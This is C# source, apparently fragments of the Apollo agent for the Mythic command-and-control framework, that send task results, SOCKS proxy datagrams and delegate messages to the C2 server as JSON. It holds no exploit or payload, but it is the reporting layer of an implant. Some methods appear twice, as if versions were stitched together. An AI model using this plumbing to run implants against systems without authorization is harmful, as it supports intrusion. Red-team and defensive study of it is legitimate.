public bool SendSocksDatagram(SocksDatagram datagram) { bool bRet = false; try // Try block for HTTP requests { // Encrypt json to send to server string msgId = $"{datagram.server_id}-{Guid.NewGuid().ToString()}"; Mythic.Structs.TaskResponse apfellResponse = new Mythic.Structs.TaskResponse { action = "post_response", responses = new Apollo.Tasks.ApolloTaskResponse[] { }, delegates = new Dictionary <string, string>[] { }, socks = new SocksDatagram[] { datagram }, message_id = msgId }; string json = JsonConvert.SerializeObject(apfellResponse); if (Send(msgId, json)) { string result = (string)Inbox.GetMessage(msgId); bRet = true; //if (result.Contains("success")) // // If it was successful, return the result // bRet = true; } //Debug.WriteLine($"[-] PostResponse - Got response for task {taskresp.task}: {result}"); //throw (new Exception($"POST Task Response {taskresp.task} Failed")); } catch (Exception e) // Catch exceptions from HTTP request or retry exceeded { bRet = false; } return(bRet); }
public override string SendResponses(string id, Apollo.Tasks.ApolloTaskResponse[] taskresp, SocksDatagram[] datagrams = null) { try // Try block for HTTP requests { // Encrypt json to send to server Mythic.Structs.TaskResponse apfellResponse = new Mythic.Structs.TaskResponse { action = "post_response", responses = taskresp }; string json = JsonConvert.SerializeObject(apfellResponse); //string id = Guid.NewGuid().ToString(); if (Send(id, json)) { string result = (string)Inbox.GetMessage(id); if (result.Contains("success")) { // If it was successful, return the result return(result); } } //Debug.WriteLine($"[-] PostResponse - Got response for task {taskresp.task}: {result}"); //throw (new Exception($"POST Task Response {taskresp.task} Failed")); } catch (Exception e) // Catch exceptions from HTTP request or retry exceeded { return(e.Message); } return(""); }
public override string SendResponse(string id, Apollo.Tasks.ApolloTaskResponse taskresp) { try // Try block for HTTP requests { // Encrypt json to send to server //Structs.CheckTaskingRequest req = new Structs.CheckTaskingRequest() //{ // action = "get_tasking", // tasking_size = 1 //}; //if (DelegateMessageQueue.Count > 0) //{ // DelegateMessageMtx.WaitOne(); // DelegateMessageQueue.ToArray(); // DelegateMessageQueue.Clear(); // //DelegateMessageQueue = new List<Dictionary<string, string>>(); // DelegateMessageMtx.ReleaseMutex(); //} // Could add delegate post messages //string json = JsonConvert.SerializeObject(req); //Apfell.Structs.CheckTaskingResponse resp = JsonConvert.DeserializeObject<Apfell.Structs.CheckTaskingResponse>(Send(json)); Mythic.Structs.TaskResponse apfellResponse = new Mythic.Structs.TaskResponse { action = "post_response", responses = new Apollo.Tasks.ApolloTaskResponse[] { taskresp }, delegates = new Dictionary <string, string>[] { }, }; //Dictionary<string, string>[] delegateMessages = new Dictionary<string, string>[] { }; if (DelegateMessageRequestQueue.Count > 0) { DelegateMessageRequestMutex.WaitOne(); apfellResponse.delegates = DelegateMessageRequestQueue.ToArray(); DelegateMessageRequestQueue.Clear(); DelegateMessageRequestMutex.ReleaseMutex(); } string json = JsonConvert.SerializeObject(apfellResponse); if (Send(id, json)) { string result = (string)Inbox.GetMessage(id); //Debug.WriteLine($"[-] PostResponse - Got response for task {taskresp.task}: {result}"); if (result.Contains("success")) { // If it was successful, return the result return(result); } } //throw (new Exception($"POST Task Response {taskresp.task} Failed")); } catch (Exception e) // Catch exceptions from HTTP request or retry exceeded { return(e.Message); } return(""); }
public bool SendSocksDatagrams() { //Utils.DebugUtils.DebugWriteLine("Attempting to get all messages from Queue..."); SocksDatagram[] datagrams = Apollo.SocksProxy.SocksController.GetMythicMessagesFromQueue(); //Utils.DebugUtils.DebugWriteLine("Got all messages from Queue!"); bool bRet = false; if (datagrams.Length == 0) { return(true); } try // Try block for HTTP requests { // Encrypt json to send to server string msgId = $"{Guid.NewGuid().ToString()}"; Mythic.Structs.TaskResponse apfellResponse = new Mythic.Structs.TaskResponse { action = "post_response", responses = new Apollo.Tasks.ApolloTaskResponse[] { }, delegates = new Dictionary <string, string>[] { }, socks = datagrams, message_id = msgId }; string json = JsonConvert.SerializeObject(apfellResponse); if (Send(msgId, json)) { string result = (string)Inbox.GetMessage(msgId); //Utils.DebugUtils.DebugWriteLine("Got the response to sending datagrams!"); bRet = true; //if (result.Contains("success")) // // If it was successful, return the result // bRet = true; } //Debug.WriteLine($"[-] PostResponse - Got response for task {taskresp.task}: {result}"); //throw (new Exception($"POST Task Response {taskresp.task} Failed")); } catch (Exception e) // Catch exceptions from HTTP request or retry exceeded { bRet = false; } return(bRet); }
override public string SendResponses(string id, Apollo.Tasks.ApolloTaskResponse[] resps, SocksDatagram[] datagrams = null) { try // Try block for HTTP requests { // Encrypt json to send to server /* * //Utils.DebugUtils.DebugWriteLine("Attempting to get all messages from Queue..."); * SocksDatagram[] datagrams = Apollo.SocksProxy.SocksController.GetMythicMessagesFromQueue(); * //Utils.DebugUtils.DebugWriteLine("Got all messages from Queue!"); * bool bRet = false; * if (datagrams.Length == 0) * { * return true; * } * try // Try block for HTTP requests * { * // Encrypt json to send to server * string msgId = $"{Guid.NewGuid().ToString()}"; * Mythic.Structs.TaskResponse apfellResponse = new Mythic.Structs.TaskResponse * { * action = "post_response", * responses = new Apollo.Tasks.ApolloTaskResponse[] { }, * delegates = new Dictionary<string, string>[] { }, * socks = datagrams, * message_id = msgId * }; * string json = JsonConvert.SerializeObject(apfellResponse); * if (Send(msgId, json)) * { * string result = (string)Inbox.GetMessage(msgId); * //Utils.DebugUtils.DebugWriteLine("Got the response to sending datagrams!"); * bRet = true; * //if (result.Contains("success")) * // // If it was successful, return the result * // bRet = true; * } * //Debug.WriteLine($"[-] PostResponse - Got response for task {taskresp.task}: {result}"); * //throw (new Exception($"POST Task Response {taskresp.task} Failed")); * } * catch (Exception e) // Catch exceptions from HTTP request or retry exceeded * { * bRet = false; * } * return bRet;*/ Mythic.Structs.TaskResponse apfellResponse = new Mythic.Structs.TaskResponse { action = "post_response", responses = resps, delegates = new Dictionary <string, string>[] { }, socks = datagrams }; if (DelegateMessageRequestQueue.Count > 0) { lock (DelegateMessageRequestQueue) { apfellResponse.delegates = DelegateMessageRequestQueue.ToArray(); DelegateMessageRequestQueue.Clear(); } } string json = JsonConvert.SerializeObject(apfellResponse); //string id = Guid.NewGuid().ToString(); if (Send(id, json)) { string result = (string)Inbox.GetMessage(id); if (result.Contains("success")) { // If it was successful, return the result return(result); } } //Debug.WriteLine($"[-] PostResponse - Got response for task {taskresp.task}: {result}"); //throw (new Exception($"POST Task Response {taskresp.task} Failed")); } catch (Exception e) // Catch exceptions from HTTP request or retry exceeded { return(e.Message); } return(""); }